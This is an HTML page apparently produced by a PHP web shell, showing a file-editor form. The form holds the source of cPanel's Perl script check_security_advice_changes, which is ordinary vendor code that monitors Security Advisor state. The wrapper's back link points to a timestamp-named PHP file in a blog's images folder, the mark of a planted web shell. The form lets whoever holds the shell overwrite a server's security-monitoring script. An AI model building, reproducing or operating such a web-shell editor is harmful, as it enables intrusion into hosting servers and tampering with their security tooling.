<h2>Edit File - check_security_advice_changes</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/check_security_advice_changes">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/local/cpanel/3rdparty/bin/perl
# cpanel - scripts/check_security_advice_changes     Copyright 2022 cPanel L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package scripts::check_security_advice_changes;

use strict;
use Cpanel::Transaction::File::JSON ();
use Cpanel::Hash                    ();
use Cpanel::Locale                  ();
use Cpanel::Usage                   ();
use Cpanel::Alarm                   ();
use Capture::Tiny                   ();

my $WANT_TYPE = &#039;mod_advice&#039;;
my $CHANNEL   = &#039;securityadvisor&#039;;
our $HISTORY_FILE = &#039;/var/cpanel/security_advisor_history.json&#039;;

_run_from_command_line(@ARGV) if !caller();

sub _run_from_command_line {
    my (@args) = @_;
    if ( grep { index( $_, &#039;-background&#039; ) &gt; -1 } @args ) {
        @args = grep { index( $_, &#039;-background&#039; ) == -1 } @args;    # CPANEL-41626: we want to keep elements of @args which DON&#039;T match &#039;-background&#039;, so we should check for equality to -1, not non-equality.
        require Cpanel::Daemonizer::Tiny;
        require Cpanel::FileUtils::Open;
        require Cpanel::ConfigFiles;
        my $pid = Cpanel::Daemonizer::Tiny::run_as_daemon(
            sub {
                ####
                # The next two calls are unchecked because it cannot be captured when running as a daemon
                no warnings &#039;once&#039;;
                Cpanel::FileUtils::Open::sysopen_with_real_perms( \*STDERR, $Cpanel::ConfigFiles::CPANEL_ROOT . &#039;/logs/error_log&#039;, &#039;O_WRONLY|O_APPEND|O_CREAT&#039;, 0600 );
                open( STDOUT, &#039;&gt;&amp;&#039;, \*STDERR ) || warn &quot;Failed to redirect STDOUT to STDERR&quot;;

                return _exit( __PACKAGE__-&gt;script( \@args ) );
            }
        );
        return _exit(0);
    }
    return _exit( __PACKAGE__-&gt;script( \@args ) );
}

sub _exit {
    my ($code) = @_;
    return exit($code);
}

sub script {
    my ( $class, $argv ) = @_;

    my %opts = (
        notify =&gt; 0,
        quiet  =&gt; 0,
    );
    my $self = bless {}, $class;
    Cpanel::Usage::wrap_options(
        $argv,
        sub { my (@args) = @_; $self-&gt;usage(@args); },
        { &#039;notify&#039; =&gt; \$opts{&#039;notify&#039;}, &#039;quiet&#039; =&gt; \$opts{&#039;quiet&#039;} },
    );
    $self-&gt;{&#039;notify&#039;} = $opts{&#039;notify&#039;};
    $self-&gt;{&#039;quiet&#039;}  = $opts{&#039;quiet&#039;};

    local $Cpanel::Locale::Context::DEFAULT_OUTPUT_CONTEXT = &#039;html&#039;;

    # Make sure Cpanel::Locale-&gt;get_handle() is invoked before being invoked
    # by the security advisor modules; otherwise Net::SMTP will throw warnings.
    $self-&gt;_locale();

    # The yum calls can take a while if yum is in use so we now
    # wait up to 30m.  Since v78+ does the security advisor
    # checks in the background this should be ok now.
    my $main_alarm = Cpanel::Alarm-&gt;new( 1800, sub { die &quot;$0 timed out because it was running for longer than 30 minutes.&quot;; } );    #max 30m

    my $trans_obj = Cpanel::Transaction::File::JSON-&gt;new( &#039;path&#039; =&gt; $HISTORY_FILE );

    my $previous_run      = $trans_obj-&gt;get_data();
    my %prev_hashes       = ( ref $previous_run eq &#039;HASH&#039; and $previous_run-&gt;{&#039;hashes&#039;} )       ? %{ $previous_run-&gt;{&#039;hashes&#039;} }       : ();
    my %prev_message_keys = ( ref $previous_run eq &#039;HASH&#039; and $previous_run-&gt;{&#039;message_keys&#039;} ) ? %{ $previous_run-&gt;{&#039;message_keys&#039;} } : ();
    my ( %hashes, %message_keys );

    require Cpanel::Security::Advisor;
    require Cpanel::Security::AdvisorFetch;
    my $msgs = Cpanel::Security::AdvisorFetch::fetch_security_advice();

    my $highest_notice_type = 0;
    my %notices;

    foreach my $data ( @{$msgs} ) {
        my $block = ( $data-&gt;{&#039;advice&#039;}{&#039;block_notify&#039;} ) ? $data-&gt;{&#039;advice&#039;}{&#039;block_notify&#039;} : 0;
        if ( $data-&gt;{&#039;type&#039;} eq $WANT_TYPE &amp;&amp; !$block ) {
            my $module      = $data-&gt;{&#039;module&#039;};
            my $text        = $data-&gt;{&#039;advice&#039;}{&#039;text&#039;} . ( $data-&gt;{&#039;advice&#039;}{&#039;suggestion&#039;} ? &quot; &quot; . $data-&gt;{&#039;advice&#039;}{&#039;suggestion&#039;} : &#039;&#039; );
            my $hash        = Cpanel::Hash::get_fastest_hash($text);
            my $message_key = ( $data-&gt;{&#039;advice&#039;}{&#039;key&#039;} ) ? $data-&gt;{&#039;advice&#039;}{&#039;key&#039;} : $data-&gt;{&#039;module&#039;};

            # NOTE: Condition description:
            # NOTE: True If advice type is INFO/WARN/BAD &amp;&amp; (advice not seen before (via static key or hash) or advise type is greater [i.e., worse] then seen type)
            my $good = Cpanel::Security::Advisor::_lookup_advise_type_by_value(q{ADVISE_GOOD});
            if ( $data-&gt;{&#039;advice&#039;}{&#039;type&#039;} &gt; $good &amp;&amp; ( !( $prev_hashes{$hash} || $prev_message_keys{$message_key} ) || $prev_hashes{$hash} &lt; $data-&gt;{&#039;advice&#039;}{&#039;type&#039;} ) ) {
                push @{ $notices{$module} }, $data-&gt;{&#039;advice&#039;};
                if ( $highest_notice_type &lt; $data-&gt;{&#039;advice&#039;}{&#039;type&#039;} ) {
                    $highest_notice_type = $data-&gt;{&#039;advice&#039;}{&#039;type&#039;};
                }
            }

            # maintain the augmented datastructure
            $hashes{$hash} = $data-&gt;{&#039;advice&#039;}{&#039;type&#039;};

            # message key hash will store advise type as string
            $message_keys{$message_key}{$hash} = Cpanel::Security::Advisor::_lookup_advise_type( $data-&gt;{&#039;advice&#039;}{&#039;type&#039;} );
        }
    }
    $trans_obj-&gt;set_data( { &#039;hashes&#039; =&gt; \%hashes, &#039;message_keys&#039; =&gt; \%message_keys } );
    my ( $status, $statusmsg ) = $trans_obj-&gt;save_and_close();

    # Need to notify
    {
        no warnings &#039;once&#039;;
        if (
            $highest_notice_type
            &amp;&amp;

            # case CPANEL-6053: Only generate an iContact notification if there
            # are changes to WARN or higher.
            $highest_notice_type &gt;= $Cpanel::Security::Advisor::ADVISE_WARN
        ) {
            $self-&gt;notify( $highest_notice_type, \%notices );
        }
        else {
            print $self-&gt;_locale()-&gt;maketext(&quot;There are no changes to the Security Advisor state that require notification.&quot;) . &quot;\n&quot;;
        }
    }
    return 0;
}

sub usage {
    my ($self) = @_;

    print $self-&gt;_locale()-&gt;maketext(q{This tool monitors the state of the Security Advisor and can send a notification when the state changes.}), &quot;\n\n&quot;;
    print $self-&gt;_locale()-&gt;maketext( q{Usage: [_1][comment,a program name] ~[options~]}, $0 ),                                                    &quot;\n\n&quot;;
    print $self-&gt;_locale()-&gt;maketext(q{Options:}),                                                                                                 &quot;\n&quot;;
    print &quot;\t--help     &quot;,                                                                                                                         $self-&gt;_locale()-&gt;maketext(q{Display this help message.}),                                               &quot;\n&quot;;
    print &quot;\t--notify   &quot;,                                                                                                                         $self-&gt;_locale()-&gt;maketext(q{Send a notification to the system administrator.}),                         &quot;\n&quot;;
    print &quot;\t--quiet    &quot;,                                                                                                                         $self-&gt;_locale()-&gt;maketext(q{Do not display output, and instead set the [output,asis,UNIX] exit code.}), &quot;\n\n&quot;;

    exit 0;
}

sub notify {
    my ( $self, $highest_notice_type, $notices ) = @_;

    require Cpanel::Locale;
    my $old = $self-&gt;_locale()-&gt;set_context_plain();

    require Cpanel::Notify;
    my $ic_obj = Cpanel::Notify::notification_class(
        &#039;class&#039;            =&gt; &#039;Check::SecurityAdvisorStateChange&#039;,
        &#039;application&#039;      =&gt; &#039;Check::SecurityAdvisorStateChange&#039;,
        &#039;status&#039;           =&gt; &#039;changes&#039;,
        &#039;interval&#039;         =&gt; 1,
        &#039;constructor_args&#039; =&gt; [
            &#039;origin&#039;              =&gt; &#039;check_for_security_advise_changes&#039;,
            &#039;notices&#039;             =&gt; $notices,
            &#039;highest_notice_type&#039; =&gt; $highest_notice_type,
            &#039;skip_send&#039;           =&gt; 1,
        ]
    );

    unless ( $self-&gt;{&#039;quiet&#039;} ) {
        print $ic_obj-&gt;render_template_include_as_text( &#039;template&#039; =&gt; &#039;subject&#039;, &#039;type&#039; =&gt; &#039;text&#039; ) . &quot;\n\n&quot; . $ic_obj-&gt;render_template_include_as_text( &#039;template&#039; =&gt; &#039;body&#039;, &#039;type&#039; =&gt; &#039;html&#039; );
    }

    if ( $self-&gt;{&#039;notify&#039;} ) {
        $ic_obj-&gt;send();
    }
    $self-&gt;_locale()-&gt;set_context($old);

    return 1;
}

sub _locale {
    my ($self) = @_;
    require Cpanel::Locale;
    return ( $self-&gt;{&#039;_locale&#039;} ||= Cpanel::Locale-&gt;get_handle() );
}

1;

</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>